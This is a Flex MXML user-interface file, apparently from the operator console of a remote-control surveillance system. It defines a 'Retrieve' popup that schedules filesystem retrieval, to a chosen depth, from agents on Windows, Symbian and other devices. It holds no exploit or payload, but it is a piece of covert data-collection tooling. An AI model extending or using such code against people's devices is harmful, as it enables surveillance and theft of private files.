src/it/ht/rcs/console/operations/view/filesystem/DepthPopup.mxml
<?xml version="1.0" encoding="utf-8"?>
<utils:TitleWindowSaveCancel xmlns:fx="http://ns.adobe.com/mxml/2009"
xmlns:s="library://ns.adobe.com/flex/spark"
xmlns:mx="library://ns.adobe.com/flex/mx"
xmlns:utils="it.ht.rcs.console.utils.*"
save="save()" title="Retrieve">
<fx:Script>
<![CDATA[
import it.ht.rcs.console.agent.controller.AgentManager;
import it.ht.rcs.console.agent.model.Agent;
import it.ht.rcs.console.notifications.NotificationPopup;
import it.ht.rcs.console.utils.AlertPopUp;
import locale.R
[Bindable]
public var item:Object;
[Bindable]
public var items:Array;
private var numItemsToProcess:uint;
private function save():void
{
var path:String;
numItemsToProcess=items.length;
for(var i:int=0;i<items.length;i++)
{
if (items[i].attr == FileSystemView.SUBROOT)//-1
path = '/';
else {
path=items[i].path
}
var aid:String = items[i].aid;
items[i].pending=true;
AgentManager.instance.filesystem(aid, path, depthStepper.value, function(e:Event):void {
numItemsToProcess--;
if(numItemsToProcess==0)
{
//AlertPopUp.show('Items scheduled for retrieval');
NotificationPopup.showNotification('Items scheduled for retrieval',2)
dispatchEvent(new Event("close"))
close();
}
});
}
}
/* private function save():void
{
var path:String;
numItemsToProcess=items.length;
for(var i:int=0;i<items.length;i++)
{
if (items[i].attr == FileSystemView.SUBROOT)//-1
path = '/';
else {
path = buildPath();
//var separator:String = path.indexOf('/') == -1 ? '\\' : '/';
var separator:String=""
var agent:Agent=items[i].agent;
if(items[i].agent.platform=="windows" || items[i].agent.platform=="symbian")
{
separator="\\";
}
else
{
separator="/";
}
var lastChar:String = path.charAt(path.length-1);
if (lastChar != separator)
path = path + separator + '*';
}
var aid:String = getAgentId(items[i]);
items[i].pending=true;
AgentManager.instance.filesystem(aid, path, depthStepper.value, function(e:Event):void {
numItemsToProcess--;
if(numItemsToProcess==0)
{
AlertPopUp.show('Items scheduled for retrieval');
dispatchEvent(new Event("close"))
close();
}
});
}
} */
private function buildPath():String
{
var pathElements:Array = [];
var el:Object = item;
var separator:String = "";
if(item.agent.platform=="windows" || item.agent.platform=="winmo" || item.agent.platform=="symbian")
{
separator="\\"
}else
{
separator="/"
}
do {
pathElements.push(el.name);
// on root check if it's windows or not
// windows is something like c: d:
// others are /
/* if (el.parent.attr == FileSystemView.SUBROOT) {
if (el.name != '/')
separator = "\\";
} */
el = el.parent;
} while (el.attr != FileSystemView.SUBROOT);
return pathElements.reverse().join(separator);
}
private function getAgentId(item:Object):String
{
var el:Object = item;
if (item.attr != FileSystemView.SUBROOT) {
do {
el = el.parent;
} while (el.attr != FileSystemView.SUBROOT);
}
return el.agent._id;
}
]]>
</fx:Script>
<s:Form defaultButton="{saveButton}">
<s:FormItem label="Depth">
<s:HGroup verticalAlign="middle">
<s:NumericStepper id="depthStepper" maximum="5" minimum="1" value="1"/>
<s:Label paddingTop="1" text=" levels"/>
</s:HGroup>
</s:FormItem>
</s:Form>
<fx:Declarations>
<s:RadioButtonGroup id="group"/>
</fx:Declarations>
</utils:TitleWindowSaveCancel>